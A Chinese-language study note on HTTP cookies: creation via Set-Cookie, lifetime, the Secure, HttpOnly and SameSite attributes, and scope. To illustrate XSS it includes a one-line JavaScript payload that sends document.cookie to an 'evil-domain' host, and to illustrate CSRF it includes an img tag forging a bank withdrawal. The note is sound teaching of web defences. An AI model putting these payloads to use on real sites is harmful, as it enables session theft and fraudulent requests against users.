# cookies

# cookie是什么

  • 服务器发送到浏览器并保存在本地的一段数据(标记用户身份)

  • 会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器

  • 浏览器的每次请求都会携带cookie数据,带来额外性能开销

  • 使基于无状态的HTTP协议记录状态信息成为了可能

    Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly; key=value; SameSite=Strict

# 怎么创建cookie

  • 服务器收到HTTP请求时,在响应头添加Set-Cookie选项

    HTTP/1.0 200 OK
    Content-type: text/html
    Set-Cookie: yummy_cookie=choco
    Set-Cookie: tasty_cookie=strawberry

    Nodejs中:

    response.setHeader('Set-Cookie', ['foo=bar', 'bar=baz']);
    
    1
  • 浏览器将之前保存的cookie信息通过Cookie请求头再发送给服务器

    GET /sample_page.html HTTP/1.1
    Host: www.example.org
    Cookie: yummy_cookie=choco; tasty_cookie=strawberry

# 怎么定义cookie的生命周期

  • 会话期:仅在会话期内有效
  • 持久性:过期时间Expires或有效期Max-Age

# 怎么限制访问cookie

  • Secure属性
    • 只会通过被HTTPS协议加密过的请求发送给服务器
  • HttpOnly属性
    • JS API无法访问带有HttpOnly属性的cookie
    • 缓解XSS攻击(跨站脚本): HttpOnly类型的cookie阻止了JS对其的访问
     (new Image()).src="http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
    
    1

# cookie的作用域有哪些

  • Domain属性:指定了哪些主机可以接收接受cookie
    • Domain=mozilla.org
  • Path属性:指定了主机下哪些路径可以接收接受cookie
    • Path=/docs
  • SameSite属性:允许服务器要求某个cookie在跨站请求时不会被发送
    • 阻止CSRF(跨站请求伪造攻击)
    • None值:浏览器可以在同站+跨站下发送cookie
    • Strict值:浏览器只在同站点时发送cookie
    • Lax值:浏览器只在同站点时发送cookie,从外部站点导航至URL时除外(通过链接)
    <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
    
    1